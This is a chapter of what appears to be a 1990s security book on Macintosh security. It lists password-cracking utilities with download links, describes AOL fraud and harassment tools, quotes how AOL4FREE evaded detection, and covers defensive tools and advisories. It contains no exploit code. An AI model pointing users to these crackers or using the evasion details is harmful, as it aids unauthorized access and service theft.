\nhttp://www.es.net/pub/esnet-doc/esnet-decnet-security.txt \nC.O.T.S. (Certified OpenVMS Technical Specialist) Examination. \n• \nhttp://www.repton.co.uk/cots.htm \nApproaching Zero: The Extraordinary Underworld of Hackers, Phreakers, Virus \nWriters, and Keyboard Criminals. Paul Mungo and Bryan Glough. \n• \nhttp://www.feist.com/~tqdb/h/aprozero.txt \nVMS Monitor Vulnerability. CERT advisory. CA-92:16. September 22, 1992. \n• \nhttp://www.arc.com/database/Security_Bulletins/CERT/CA-\n92:16.VMS.Monitor.vulnerability \n" }, { "page_number": 391, "text": " \n \n20 \nMacintosh \nThe Macintosh platform is not traditionally known for being a cracking platform. It is far \nmore suited to hacking. Programming for the Mac is every bit as challenging as \nprogramming for any other environment. Knowledge of C is generally a requisite. For \nthat reason, hacking on the Mac platform can be fun (and occasionally frustrating). \nCracking (with respect to the Internet anyway) on the Mac platform, however, is another \nmatter entirely. \nFirst, early TCP/IP implementations on the Mac platform were primarily client oriented. \nMany server packages do now exist for the Mac, but until recently, TCP/IP was not what \nI would call an \"integrated\" part of the traditional MacOS. Today, the situation is vastly \ndifferent. The advancement of integrated TCP/IP in the MacOS has grown tremendously. \nApple has taken special steps to ensure that the MacOS TCP/IP support is superb. These \nefforts have manifested through the development of Open Transport technology. Open \nTransport is an implementation that provides high-level control at the network level. For \nexample, Open Transport allows multiple, simultaneous TCP/IP connections, the number \nof which is limited only by memory and processor power. Inherent within the system is \nautomated flow control, which detects the need for fragmentation of IP datagrams. That \nmeans when a network segment is encountered that cannot handle large packets, Open \nTransport automatically reverts to fragmentation. \nOpen Transport has completely integrated MacOS with both TCP/IP and AppleTalk, \nmaking it one of the most flexible networking implementations currently available. It \nnow comes stock in System 7.5.3 and above. \n \nCross Reference: You can get libraries, include files, and utilities for the Mac platform, \nas you'll learn later in this chapter. Some great sources, though, can be found at \nhttp://www.metrowerks.com/tcpip/lib/c-libs.html. These sources \ninclude real-life examples of Mac TCP/IP programming, complete with C source code. \nMany examples for those programming in C++ are also available. Find \nthem online at http://www.metrowerks.com/tcpip/lib/cpp-\nlibs.html. \nPascal gurus can find Mac TCP/IP source and libraries at \nhttp://www.metrowerks.com/tcpip/lib/pascal-libs.html. \n \nProgramming on the Mac is a challenge. However, most Macintosh users are not so \nintensely preoccupied with the inner workings of their operating system as users of UNIX \nsystems or even IBM compatibles. The reason has nothing to do with the level of \nproficiency of Mac users. It has to do with the design of the MacOS itself. The MacOS \nwas conceived with ease of use in mind. Many tasks that are grueling under other \noperating systems are only a click away on the modern Macintosh. Take, for example, \n" }, { "page_number": 392, "text": " \n \ngetting connected to the Internet. Only in the last few years have UNIX systems made \nthis process simple. Prior to that, many different files had to be edited correctly and the \nuser had to have some knowledge of UUCP. In contrast, the Mac user is rarely \nconfronted with special configuration problems that call for tweaking the operating \nsystem. Therefore, there are few Mac Internet crackers. \nFor those planning to use the Macintosh platform for hacking or cracking, however, there \nare plenty of resources. For programming, there are a staggering number of choices \nbeyond the traditional C that you normally associate with Mac development. Some of \nthese are ports of languages from other platforms and others are development tools \nwritten specifically for the Macintosh. Unfortunately, there are not yet as many free tools \nfor use on Macs as there are for other platforms. \nNevertheless, Mac users take a lot of abuse on the Internet. Users who enjoy other \nplatforms often make fun of Mac users, telling them to get a \"real\" operating system. \nWell, before we get into what tools are available for cracking on a Mac, I would like to \ntake a moment to offer the Mac community a little vindication. First of all, the number of \ndevelopment tools available for Macintosh is staggering. Rather than list them all here, I \nhave picked a few interesting ones. They are listed in Table 20.1. \nTable 20.1. Interesting Mac development tools. \nTool \nDescription \nPrograph \nCPX \nAn awesome, object-oriented tool by Pictorius that allows complex manipulation of data \nstructures through an entirely visual interface. It works through the use of visualization of data \nflow. It allows you to seamlessly integrate code previously written in C. Moreover, it will soon \ninclude cross-platform support. Check it out at http://192.219.29.95/home.html. \nMac \nCommon \nLISP \nThe MCL development environment by Digitool, Inc. It gives you true object-oriented \ndevelopment with perhaps the most powerful object-oriented language currently available. \nDistributions are available for both 68K and PPC (Power PC). You can get a full-featured \nevaluation version at http://www.digitool.com/MCL-demo-version.html. \nDylan \nDylan is a special object-oriented language that was developed primarily from efforts at Apple. \nThere are many benefits to this new and curious language, the most incredible of which is \nautomatic memory management. Memory management has traditionally been a problem to be \naddressed by the programmer. Not any more. There are a number of free compilers for Dylan, \nincluding but not limited to Thomas (witty name), which is located at \nhttp://www.idiom.com/free-compilers/TOOL/Dylan-1.html. \nIn addition to these, there are many interesting (traditional and nontraditional) \ndevelopment tools for Mac, including the following: \n• \nGNU C and C++ (ftp://ftp.cs.purdue.edu/pub/gb/) \n• \nPerl (http://mors.gsfc.nasa.gov/MacPerl.html) \nPassword Crackers and Related Utilities \nThe utilities described in the following sections are popular password crackers or related \nutilities for use on Macintosh. Some are made specifically to attack Mac-oriented files. \n" }, { "page_number": 393, "text": " \n \nOthers are designed to crack UNIX password files. This is not an exhaustive list, but \nrather a sample of the more interesting tools freely available on the Internet. \nPassFinder \nPassFinder is a password cracking utility used to crack the administrator password on \nFirstClass systems. This is an important utility. The program suite FirstClass is a gateway \nsystem, commonly used for serving e-mail, UUCP, and even news (NNTP). In essence, \nFirstClass (which can be found at http://www.softarc.com/) is a total solution for \nmail, news, and many other types of TCP/IP-based communication systems. It is a \npopular system on the MacOS platform. (It even has support for Gopher servers and FTP \nand can be used to operate a full-fledged BBS.) Because FirstClass servers exist not only \non outbound Internet networks, but also on intranets, PassFinder is a critical tool. By \ncracking the administrator password, a user can seize control of the system's incoming \nand outgoing electronic communications. (However, this must be done on the local \nmachine. That is, the user must have access to the console of the instant machine. This is \nnot a remote cracking utility.) \n \nCross Reference: PassFinder is available at \nhttp://www.yatho.com/weasel/files/PassFinder.sit.bin. \n \n \nTIP: Apparently, FirstClass 2.7 does not provide a facility for recording or logging IP \naddresses. (Reportedly, this simple hole exists in earlier versions.) Therefore, an attack on \nsuch a server can be performed in a fairly liberal fashion. \n \nFirstClass Thrash! \nThis is an interesting collection of utilities, primarily designed for the purpose of \nconducting warfare over (or against) a FirstClass BBS. It has features that could be easily \nlikened to Maohell. These include mailbombing tools, denial-of-service tools, and other, \nassorted scripts useful in harassment of one's enemies. It's primarily used in warfare. \n \nCross Reference: FirstClass Thrash! is located at \nhttp://www.i1.net/~xplor216/FCThrash.hqx. \n \nFMProPeeker 1.1 \nThis utility cracks FileMaker Pro files. FileMaker Pro is a database solution from Claris, \n(http://www.claris.com). While more commonly associated with the Macintosh \nplatform, FileMaker Pro now runs on a variety of systems. It is available for shared \ndatabase access on Windows NT networks, for example. In any event, FMProPeeker \nsubverts the security of FileMaker Pro files. \n \nCross Reference: FMProPeeker is available at \nhttp://www.netaxs.com/~hager/mac/cracking/FMProPeeker1.1.sit\n.bin. \n \n" }, { "page_number": 394, "text": " \n \nFMP Password Viewer Gold 2.0 \nFMP Password Viewer Gold 2.0 is another utility for cracking FileMaker Pro files. It \noffers slightly more functionality (and is certainly newer) than FMProPeeker 1.1. \n \nCross Reference: FMP Password Viewer Gold 2.0 is available at \nhttp://www.yatho.com/weasel/files/FMP3.0ViewerGold2.0.sit.hq\nx. \n \nMasterKeyII \nMasterKeyII is yet another FileMaker Pro cracking utility. \n \nCross Reference: MasterKey II is available at the following site in Japan. Have no fear: \nThis site is so fast, it is screaming. The location is http://www.plato-\nnet.or.jp/usr/vladimir/undergroundmac/Cracking/MasterKeyII.1\n.0b2.sit.bin. \n \nPassword Killer \nPassword Killer is designed to circumvent the majority of PowerBook security programs. \n \nCross Reference: Password Killer (also referred to as PowerBook Password Killer) can \nbe found online at http://www.plato-\nnet.or.jp/usr/vladimir/undergroundmac/Cracking/PowerBookPwd%\n20killer.sit.bin. \n \nKiller Cracker \nKiller Cracker is a Macintosh port of Killer Cracker, a password cracker formerly run \nonly on DOS and UNIX-based machines. (You can find a lengthy description of Killer \nCracker in Chapter 10, \"Password Crackers.\" Thankfully, the Mac version is distributed \nas a binary; that means you do not need a compiler to build it.) \n \nCross Reference: Killer Cracker can be found at \nftp://whacked.l0pht.com/pub/Hacking/KillerCrackerv8.sit. \n \nMacKrack \nMacKrack is a port of Muffet's famous Crack 4.1. It is designed to crack UNIX \npasswords. It rarely comes with dictionary files, but works quite well. Makes cracking \nUNIX /etc/passwd files a cinch. (It has support for both 68K and PPC.) \n \nCross Reference: MacKrack is located at \nhttp://www.yatho.com/weasel/files/MacKrack2.01b1.sit.bin. \n \nUnserialize Photoshop \n" }, { "page_number": 395, "text": " \n \nUnserialize Photoshop is a standard serial number-killing utility, designed to circumvent \nserial number protection on Adobe Photoshop. This utility really falls into the traditional \ncracking category. I don't think that this type of activity does much to shed light on \nsecurity issues. It is basically a tool to steal software. Therefore, I will refrain from \noffering any locations here. Adobe is a good company--perhaps the only company ever to \nget the best of Microsoft. My position on stealing software (though I've stated it before) \nis this: You want free software? Get FreeBSD or Linux and go GNU. This way, you get \nquality software for free and still maintain extreme cool. \n \nNOTE: A large portion of the Macintosh community that label themselves \"hackers\" \nengage in piracy and unlawful use of copyrighted software. Newsletters and other \ndocuments containing serial numbers of all manners of software are posted monthly. \n(These documents often exceed 300KB in length and include hundreds of serial numbers. \nThe most famed such distribution is called \"The Hacker's Helper,\" which typically comes \nout once a month.) While this is their own affair, I should relate here that this type of \nactivity is the precise antithesis of hacking. The only thing worse than this (and more \nremoved from hacking) would be to steal such software and claim that you wrote it. \n \nWordListMaker \nWordListMaker is a utility designed to manage dictionary files. This is invaluable if you \nplan to crack password files of any size, or files on which the users may speak more than \none language (forcing you to use not only American English dictionaries, but perhaps \nothers, including British English, Italian, French, German, and so forth). The utility is \ndesigned to merge dictionary files, a function that on a UNIX system takes no more than \na brief command line but that, on many other platforms, can be a laborious task. \n \nCross Reference: WordListMaker is located at \nftp://whacked.l0pht.com/pub/Hacking/WordListMaker1.5.sit. \n \nRemove Passwords \nRemove Passwords is a nifty utility that removes the password protection on Stuffit \narchives. Stuffit is an archiving utility much like PKZIP or GZIP. It is more commonly \nseen on the Macintosh platform, but has since been ported to others, including Microsoft \nWindows. You can acquire Stuffit at ftp://ftp.aladdinsys.com/. Remove Passwords \nbypasses password protection on any archive created (and password protected) with \nStuffit. \n \nCross Reference: Remove Passwords is available at \nhttp://www.yatho.com/weasel/files/RemovePasswords.sit. \n \nRemoveIt \nRemoveIt is a utility almost identical to Remove Passwords. It strips the passwords from \nStuffit archives. \n \n" }, { "page_number": 396, "text": " \n \nCross Reference: RemoveIt is available at \nhttp://www.yatho.com/weasel/files/RemoveIt.sit.bin. \n \nTools Designed Specifically for America Online \nThe tools described in the following sections are designed primarily to subvert the \nsecurity of America Online. Specifically, the majority of applications in this class steal \nservice from AOL by creating free accounts that last for several weeks. Use of most of \nthese tools is illegal. \nMaohell.sit \nCurrently available at 13 sites on the Net, Maohell.sit is the Macintosh port (or rather, \nequivalent) of the famous program AOHELL. AOHELL allows you to obtain free access \nto America Online services. It can create bogus accounts that are good for several weeks \nat a time. The utility also comes with various tools for harassment, including an \nautomated mailbombing utility and some chat room utilities. \n \nCross Reference: Maohell.sit is available at \nftp://whacked.l0pht.com/pub/AOLCrap/Maohell.sit. \n \n \nNOTE: AOHELL and Maohell may soon be entirely worthless. America Online has \nmade extensive inroads in eliminating this type of activity. For example, it was once a \nsimple task to use nonexistent but \"valid\" credit card numbers to register with AOL. You \ncould use an algorithm that would generate mathematically sound credit card numbers. \nCursory checks then performed by AOL were insufficient to prevent such activity. That \nclimate has since changed. \n \nAOL4FREE2.6v4.sit \nAOL4FREE2.6v4.sit, which manipulates the AOL system, forcing it to interpret you as \nalways occupying the \"free\" or demo section of AOL, has caused quite a controversy. \nThe author was arrested by the United States Secret Service after being identified as the \ncreator of the software. He currently faces very heavy fines and perhaps a prison \nsentence. Here's a report from a recent news article: \nKnown online as Happy Hardcore, 20-year-old Nicholas Ryan of Yale University entered his plea \nin federal district court in Alexandria, Virginia. The felony offense carries a fine of up to $250,000 \nand five years in prison. Sentencing is set for March. Ryan used his illegal software, dubbed \n\"AOL4Free\" between June and December 1995. He also made it available to others. The \ninvestigation was carried out by the Secret Service and Justice Department's computer crime \nsection. \n \nCross Reference: The preceding paragraph is excerpted from the article \"Hacker Admits \nto AOL Piracy\" by Jeff Peline. It can be found online at \nhttp://www.news.com/News/Item/0,4,6844,00.html. \n \nOne interesting document regarding the whole affair is located at wku.edu. The author \nshows a series of messages between AOL personnel discussing the AOL4FREE problem. \n" }, { "page_number": 397, "text": " \n \n(These messages were intercepted from e-mail accounts.) The communication between \nAOL's inner staff discussed various signatures that AOL4FREE would leave on the \nsystem during a sign-on. Having identified these sign-on signatures, the staff were ready \nto \"...get verification from TOS and then hand [the crackers] over to the Secret Service.\" \n \nCross Reference: The quote in the previous paragraph is excerpted from a message from \nMayLiang that was forwarded to Barry Appelman regarding AOL4FREE. That message \ncan be found online at http://www.cs.wku.edu/~kat/files/CRNVOL3. \n \nHowever, things did not go as well as the internal staff of AOL had hoped. Since their e-\nmail was intercepted, a new version of AOL4FREE was created that fixed the problem. \nThus, the new version would continue to work, even after AOL had installed their \n\"AOL4FREE Detector.\" This is discussed in the document: \nLooks pretty bad, doesn't it, with the Secret Service and everything. But not to worry...with v4 of \nAOL4Free, you are much harder to detect! You see, what AOL4Free does is send the free token \nafter every real token. When you are signing on, you send the \"Dd\" token with you screen name \nand password, and a free \"K1\" token is sent afterward. However, because you aren't really signed \non yet, AOL sees the K1 token as a bug and records it in a log. All the Network Ops people had to \ndo is search their logs for this bug and voilà, they had their AOL4Free users. v4 is modified so that \nit doesn't send the free token after \"Dd\". \n \nCross Reference: The previous paragraph is excerpted from an article titled \n\"AOL4FREE--Can I Get Caught?\" which ran in Cyber Rights Now!. The article, by Sloan \nSeaman (seaman@pgh.nauticom.net), can be found online at \nhttp://www.cs.wku.edu/~kat/files/CRNVOL3. \n \nIt will be interesting to see what happens. I have a strong feeling that new versions of \nAOL4FREE are about to be released. (Don't ask me why. Call it a premonition.) From \nmy point of view, this would not be so bad. In my not-so-humble-opinion, AOL has, until \nvery recently, engaged in Information Superhighway robbery. However, that opinion has \nnot enough weight for me to print the location of version 4 in this book. \nThe WebStar Controversy \nOn October 15, 1995, a challenge was posted to the Internet: A Macintosh Web server \nrunning WebStar was established and offered as a sacrificial host on the Net. If anyone \ncould crack that server, that person would be awarded $10,000.00. The challenge was a \ndemonstration of the theory that a Mac would be more secure than a UNIX box as a Web \nserver platform. Did anyone collect that 10 grand? No. \nChris Kilbourn, the president and system administrator for digital.forest, an Internet \nservice provider in Seattle, Washington, posted a report about that challenge. (I will be \npointing you there momentarily.) In it, he explains \nIn the 45 days the contest ran, no one was able to break through the security barriers and claim the \nprize. I generally ran the network packet analyzer for about 3-5 hours a day to check for \ninteresting packets destined for the Challenge server. I created packet filters that captured all \nTCP/IP network traffic in or out of the Challenge server. One of the more amusing things was that \neven with all the information about the technical specifications of the Challenge server posted on \nthe server itself, most of the people who tried to bypass the security thought that the server was a \n" }, { "page_number": 398, "text": " \n \nUNIX box! TCP/IP services on a Macintosh lack the low-level communications that is available \non UNIX systems, which provides additional security. If you are careful to keep your mail, FTP, \nand HTTP file spaces from overlapping, there is no way to pipe data from one service to another \nand get around security in that manner. \n \nCross Reference: The previous paragraph is excerpted from Chris Kilbourn's article \ntitled \"The $10,000 Macintosh World Wide Web Security Challenge: A Summary of the \nNetwork and the Attacks,\" and can be found online at \nhttp://www.forest.net/advanced/securitychallenge.html. \n \nSo what really happened here? Did the challenge ultimately prove that a Mac is more \nsecure than a UNIX box as a Web server platform? Yes and no. To understand why both \nanswers are valid, you need to have a few particulars. \nFirst, the machine included in the challenge was running only a Web server. That is, it \ndid not run any other form of TCP/IP server or process. (How realistic that would be in a \nMac serving as anything other than exclusively a Web server is an area of some dispute. \nHowever, for the moment, we are dealing with a simple Web server.) \nTherefore, the simple answer is yes, a standalone Mac Web server is more secure than a \nfull-fledged UNIX server running a Web daemon. However, that is not the end of the \nstory. For example, the UNIX server can do things that the Mac server cannot. That \nincludes file transfers by a dozen or more different protocols. It also includes handling \nfile sharing with more than a dozen platforms. The key here is this: For a sacrificial Web \nserver, the Mac is a better choice (that is, unless your system administrator is very well \nversed in security). UNIX has just too many protocols that are alive by default. Part of the \nsecurity gained by the Mac is in the fact that there is no command interpreter that is well \nknown by UNIX or IBM users behind the Web server. However, there is a way to crack \nsuch a server. Here's a report from an Apple Technical article: \nThrough the power of AppleScript and Apple events, WebSTAR can communicate with other \napplications on your Macintosh to publish any information contained in those programs. For \nexample, if your company information is in a FileMaker Pro database, Web client users can query \nit via HTML forms to get the data using the FileMaker CGI (Common Gateway Interface) for \nWebSTAR. It's powerful and easy to use. \nThe AppleScript engine is indeed an interpreter; it's just not one known intimately by a \nlarge population of non-MacOS users. The problem must therefore be approached by \nsomeone who is deeply familiar with TCP/IP, AppleScript, and cracking generally. I \nwould imagine that the list of such persons is fairly short. However, these are the \nelements that would be required. So know that it is not impossible. It is simply that the \nmajority of cracking knowledge has been UNIX-centric. This will change rapidly now \nthat the Internet is becoming so incredibly popular. Apple experts advise that security \nissues should remain a constant concern if you are providing remote services. In a \ndocument designed to provide guidance in setting up an Internet server, the folks at \nApple offer this: \nAlthough Mac OS-based services present a much lower security risk than services run on UNIX \nmachines, security considerations can never be taken too seriously on the Internet. Many routers \nhave a number of \"firewall\" features built in, and these features should be carefully considered, \nespecially for larger networks. Although most Mac OS security issues can be addressed simply by \n" }, { "page_number": 399, "text": " \n \nensuring that access privileges are set correctly, investigating additional security options is always \na good idea. \n \nCross Reference: The previous paragraph is excerpted from an article by Alan B. \nOppenheimer titled \"Getting Your Apple Internet Server Online: A Guide to Providing \nInternet Services.\" This article can be found online at \nhttp://product.info.apple.com/productinfo/tech/wp/aisswp.htm\nl. \n \n \nTIP: The previously excerpted article (\"Getting Your Apple Internet Server Online: A \nGuide to Providing Internet Services\") is truly invaluable. I endorse it here as the \ndefinitive document currently available online that discusses establishing an Apple \nInternet server. It is based largely on the real-life experiences of technicians (primarily \nOppenheimer and those at Open Door) in establishing a large server. The technical \nquality of that paper is nothing short of superb (and far exceeds the quality of most online \npresentations with similar aspirations). \n \nCertainly, it has already been proven that a Mac Web server can be vulnerable to denial-\nof-service attacks, including the dreaded Sequence of Death. In a recent article by \nMacworld, the matter is discussed: \n...for Mac Webmaster Jeff Gold, frustration turned to alarm when he realized that a mere typo \ncaused his entire Mac-served site to crash. Gold's crash occurred while he was using StarNine's \nWebStar Web server software and the plug-in version of Maxum Development's NetCloak 2.1, a \npopular WebStar add-on. Adding certain characters to the end of an URL crashes NetCloak, \nbringing down the server. To protect the thousands of sites using NetCloak, neither Gold nor \nMacworld will publicly reveal the character sequence, but it's one that wouldn't be too difficult to \nenter. After further investigation, Macworld discovered that the problem surfaces only when a \nserver runs the plug-in version of NetCloak. When we removed the plug-in and used the NetCloak \nCGI instead, the Sequence of Death yielded only a benign error message. \n \nCross Reference: The previous paragraph is excerpted from an article by Jim Heid titled \n\"Mac Web-Server Security Crisis: Specific Character Sequence Crashes Servers.\" It can \nbe found online at http://www.macworld.com/daily/daily.973.html. \n \nNote that this problem was unrelated to Apple. This brings back the point that I have \nmade many times: When software developers and engineers are developing packages at \ndifferent times, in different places, and within the confines of different companies, \nsecurity holes can and do surface. This is because acquiring the API is sometimes not \nenough. Here is a great example of such a situation: Have you ever used version 1.5.3 of \nASD's DiskGuard? If you have, I'll bet you were a bit confused when you couldn't access \nyour own hard disk drive: \nSecurity software is supposed to keep the bad guys out, but let you in. In some cases, version 1.5.3 \nof ASD software's DiskGuard was preventing even a system's owner from accessing their \nmachine. This week the company posted a patch for its security software application; version 1.5.4 \nfixes several compatibility problems--including locked and inaccessible hard drives--between \nDiskGuard 1.5.3 and several Mac systems. If you use DiskGuard on a PowerMac 7200, 7500, \n8500, or a PowerBook 5300/5300c, ASD's technical support recommends you upgrade. The patch \nis available directly from ASD Software (909/624-2594) or from the ASD forum on CompuServe \n(Go ASD). \n \n" }, { "page_number": 400, "text": " \n \nCross Reference: The previous paragraph is excerpted from an article by Suzanne \nCourteau titled \"ASD Fixes DiskGuard Bugs. Problem with Locked Drives Corrected.\" It \ncan be found online at http://www.macworld.com/daily/daily.6.html. \n \n \nTIP: This reminds me of the version of Microsoft Internet Explorer that forced a \npassword check on most sites (and to boot, refused to authenticate anything the user \nattempted to use as a password). \n \nHowever, all this discussion is really immaterial. Average Macintosh users are not \nsecurity fanatics and therefore, their personal machines are probably subject to at least \nminimal attack. This will depend on whether they have their disk and resources shared \nout. The Macintosh file sharing system is no less extensive (nor much more secure) than \nthat employed by Microsoft Windows 95. The only significant difference is that in the \nMac environment, you can not only turn off file sharing, but also pick and choose which \nfiles you want to share. This is done by going to the Sharing Options panel and making \nthe appropriate settings. \n \nCross Reference: You can find an excellent quick tutorial of how to manipulate the \nsharing settings at \nhttp://bob.maint.alpine.k12.ut.us/ASD/Security/MacSecurity.h\ntml#Sys7Sharing. Macintosh Network Security. Alpine School District Network \nSecurity Guidelines. (I have been unable to ascertain the author of this document. Too \nbad. They did a wonderful job.) Last apparent date of modification January 29, 1997. \n \nNaturally, in a network, this may be a complex matter. Your choices will be made \ndepending on the trust relationships in your organization. For example, if you are in a \npublishing department of a magazine, perhaps you take commercial advertisements but \nthe copy for these is generated in another portion of the building (or at the very least, \nanother portion of the network). It may require that you share a series of folders so that \nyou can conveniently traffic ad copy between your department and the advertising \ndepartment. \nThe file sharing hole is a matter of extreme concern. At the very least, every Mac user \nshould establish a password for himself as the owner of the machine. Furthermore, that \npassword should be carefully considered. Mac passwords are subject to attack, the same \nas any other password on every password system ever created. Care should be taken to \nchoose a characteristically \"strong\" password. If this term strong password is a foreign \nconcept to you, please review Chapter 10, which contains a series of references to reports \nor technical white papers that discuss the difference between weak and strong password \nchoices and how to make them. Finally (and perhaps most importantly), guest access \nprivileges should be set to inactive. \nBut, then, as most experienced Mac users know, file sharing is not the only security hole \nin the Macintosh environment. There are obscure holes and you have to dig very deep to \nfind them. Apple (much like Microsoft) is not nearly as gung-ho about advertising \nvulnerabilities on their platform as, say, the average UNIX vendor. Typically, they keep \nthe matter a bit more isolated to their particular community. \n" }, { "page_number": 401, "text": " \n \nNaturally, MacOS holes are like holes on any other operating system. Today, if you \npurchase a brand new Mac with the latest distribution of MacOS, you have a guarantee of \ngood security. However, again, not everyone uses the latest and the greatest. For \nexample, do you remember Retrospect? If you have used it (or are now using it) have you \never seen this advisory: \nWhen you install the Retrospect Remote Control Panel and restart, Remote is activated and waits \nfor the server to download a security code and serial number. If the server does not do this, anyone \nwith a copy of Retrospect and a set of serial numbers can initialize your system, backup your hard \ndrive to theirs, and then de-initialize your system without you noticing. \n \nCross Reference: The preceding paragraph is excerpted from an article titled \"Retrospect \nRemote Security Issue\" (ArticleID: TECHINFO-0016556; 19960724. Apple Technical \nInfo Library, February 1995). It can be found on the Web at \nhttp://cgi.info.apple.com/cgi-\nbin/read.wais.doc.pl?/wais/TIL/DataComm!Neting&Cnct/Apple!Wo\nrkgroup! Servers/Retrospct!Remote!Security!Issue. \n \n \nCross Reference: Apple's white papers (which admittedly shed little light on security, \nbut are of some value in identifying sources on the subject) can be accessed at \nhttp://product.info.apple.com/productinfo/tech/ or at \nhttp://til.info.apple.com/til/til.html. \n \nAnti-Cracker Tools \nSo much for programs that help crackers gain unauthorized access to your system. Now I \nwould like to detail a few programs that will keep those curious folks out. \nStartUpLog \nCreated by Aurelian Software and Brian Durand, StartUpLog is a snooper application. It \nbegins logging access (and a host of other statistics) from the moment the machine boots. \nUsing this utility is very easy. It ships as a Control Panel. You simply install it as such \nand it will run automatically, logging the time, length, and other important information of \neach access of your Mac. It's good for parents or employers. \n \nCross Reference: StartUpLog is available at \nhttp://cdrom.amug.org/http/bbs/148690-\n3.desc.html#startuplog-2.0.1.sit. \n \nSuper Save \nFor the ultimate paranoiac, Super Save is truly an extraordinary utility. This utility will \nrecord every single keystroke forwarded to the console. However, in a thoughtful move, \nthe author chose to include an option with which you can disable this feature whenever \npasswords are being typed in, thus preventing the possibility of someone else later \naccessing your logs (through whatever means) and getting that data. Although not \nexpressly designed for security's sake (more for data crash and recovery), this utility \nprovides the ultimate in logging. \n" }, { "page_number": 402, "text": " \n \n \nCross Reference: Super Save is available at \nftp://ftp.leonardo.net/claireware/SuperSave.v200.sit.hqx. \n \nBootLogger \nBootLogger is a little less extreme than either StartUpLog or Super Save. It basically \nreads the boot sequence and records startups and shutdowns. It is a less resource-\nconsuming utility. I suggest using this utility first. If evidence of tampering or \nunauthorized access appears, then I would switch to Super Saver. \n \nCross Reference: BootLogger is available at ftp://ftp.amug.org/bbs-in-a-\nbox/files/util/security/bootlogger-1.0.sit.hqx. \n \nDiskLocker \nDiskLocker is a utility that write protects your local hard disk drive. Disks are managed \nthrough a password-protect mechanism. (In other words, you can only unlock the instant \ndisk if you have the password. Be careful not to lock a disk and later lose your password.) \nThe program is shareware (written by Olivier Lebra in Nice, France) and has a licensing \nfee of $10. \n \nCross Reference: DiskLocker is available for download from \nftp://ftp.amug.org/bbs-in-a-\nbox/files/util/security/disklocker-1.3.sit.hqx. \n \nFileLock \nFileLock is a little more incisive than DiskLocker. This utility actually will do individual \nfiles or groups of files or folders. It supports complete drag-and-drop functionality and \nwill work on both 68K and PPC architectures. It's a very handy utility, especially if you \nshare your machine with others in your home or office. It was written Rocco Moliterno \n(Italy). \n \nCross Reference: FileLock is available from \nhttp://hyperarchive.lcs.mit.edu/HyperArchive/Archive/disk/fi\nlelock-132.hqx. \n \nSesame \nSesame is likely to become an industry standard (much as Mac Password has). Sesame \noffers full-fledged password protection for the MacOS. First, the utility offers several \nlevels of protection. For example, you can create an administrator password and then \nindividual user passwords beneath it. Moreover, Sesame will actually protect against a \nfloppy boot attack. In other words, whatever folders or files you hide or password protect \nwith this utility, those options will still be evident (and the controls still present) even if a \n" }, { "page_number": 403, "text": " \n \nlocal user attempts to bypass security measures by booting with a floppy disk. This is \nshareware with a $10 licensing fee and was written by Bernard Frangoulis (France). \n \nCross Reference: Sesame is available at \nhttp://hyperarchive.lcs.mit.edu/HyperArchive/Archive/disk/se\nsame-211.hqx. \n \nMacPassword \nThe industry standard for full password protection on MacOS, MacPassword is a fully \ndeveloped commercial application. It provides not only multiple levels of password \nprotection (for both disk and screen), but it also incorporates virus scanning technology. \nIt's definitely worth the money. However, you can always check it out for free. The demo \nversion is available at many locations across the Internet. Here's an excerpt from Tom \nGross's copy of the Mac FAQ: \nArt Schumer's MacPassword is the cheapest ($35) program worthy of consideration in this \ncategory. A demo version which expires after sixty days and isn't as secure is available from \nhttp://www.macworld.com/cgi-bin/download?package=utilities/MacPassword.4.1.1.Demo.sit.hqx. \n \nCross Reference: The previous excerpt is from Tom Gross's copy of Mac FAQ, Austria, \nhttp://witiko.ifs.uni-linz.ac.at/~tom/mac_FAQ.html. \n \n \nCross Reference: I actually prefer this location for MacPassword, however: \nftp://ftp.amug.org/bbs-in-a-\nbox/files/util/security/macpassword-4.11-demo.sit.hqx. \n \nSummary \nAlthough the Mac platform is not known for being a cracking platform, it is well suited \nfor hacking. Hacking on the Mac platform can be fun; cracking is another matter entirely. \nThis chapter covers a multitude of utilities for hacking and cracking using the Macintosh \nplatform, and also discusses ways to keep hackers and crackers out. \nResources \nThe following list of resources contains important links related to Macintosh security. \nYou'll find a variety of resources, including books, articles, and Web sites. \nBooks and Reports \nGetting Your Apple Internet Server Online: A Guide to Providing Internet Services. \nAlan B. Oppenheimer of Open Door Networks and Apple. \n• \nhttp://product.info.apple.com/productinfo/tech/wp/aisswp.html \nSecurity Ports on Desktop Macs. A discussion of physical security on a Mac using \nvarious security ports and cable locking mechanisms. ArticleID: TECHINFO-0017079; \n19960724 15:55:27.00. \n" }, { "page_number": 404, "text": " \n \n• \nhttp://cgi.info.apple.com/cgi-\nbin/read.wais.doc.pl?/wais/TIL/Macintosh!Hardware/Security!Ports!o\nn!Desktop!Macs \nThe $10,000 Macintosh World Wide Web Security Challenge: A Summary of the \nNetwork and the Attacks. Chris Kilbourn, digital.forest. (Formatting provided by Jon \nWiederspan.) \n• \nhttp://www.forest.net/advanced/securitychallenge.html \nThe Mac History Page by United Computer Exchange Corporation. This is an \namazing pit stop on the Internet. If you want to instantly identify older Mac hardware and \nits configuration limitations, this is the site for you. Displayed in table format. A great \nresource, especially for students who are in the market for an inexpensive, older Mac. \n• \nhttp://www.uce.com/machist.html \nHow Macs Work. John Rizzo and K. Daniel Clark. Ziff-Davis Press. ISBN 1-56276-\n146-3. \nVoodoo Mac. Kay Yarborough Nelson. Ventana Press. ISBN 1-56604-028-0. \nSad Macs, Bombs, and Other Disasters. Ted Landau. Addison-Wesley Publishing \nCompany. ISBN 0-201-62207-6. \nThe Power Mac Book. Ron Pronk. Coriolis Group Books. ISBN 1-883577-09-8. \nMacworld Mac OS 7.6 Bible. Lon Poole. IDG Books. ISBN 0-7645-4014-9. \nMacworld Mac SECRETS, 4th Edition. David Pogue and Joseph Schorr. IDG Books. \nISBN 0-7645-4006-8. \nThe Whole Mac Solutions for the Creative Professional. Daniel Giordan et al. Hayden \nBooks. ISBN 1-56830-298-3. 1996. \nGuide to Macintosh System 7.5.5. Don Crabb. Hayden Books. ISBN 1-56830-109-X. \n1996. \nBuilding and Maintaining an Intranet with the Macintosh. Tobin Anthony. Hayden \nBooks. ISBN 1-56830-279-7. 1996. \nUsing the Internet with Your Mac. Todd Stauffer. QUE. ISBN 0-78970-665-2. 1995. \nSimply Amazing Internet for Macintosh. Adam Engst. Hayden Books. ISBN 1-56830-\n230-4. 1995. \nSites with Tools and Munitions \nGranite Island Group and Macintosh Security. \n• \nhttp://www.tscm.com/mac02SW.html \n" }, { "page_number": 405, "text": " \n 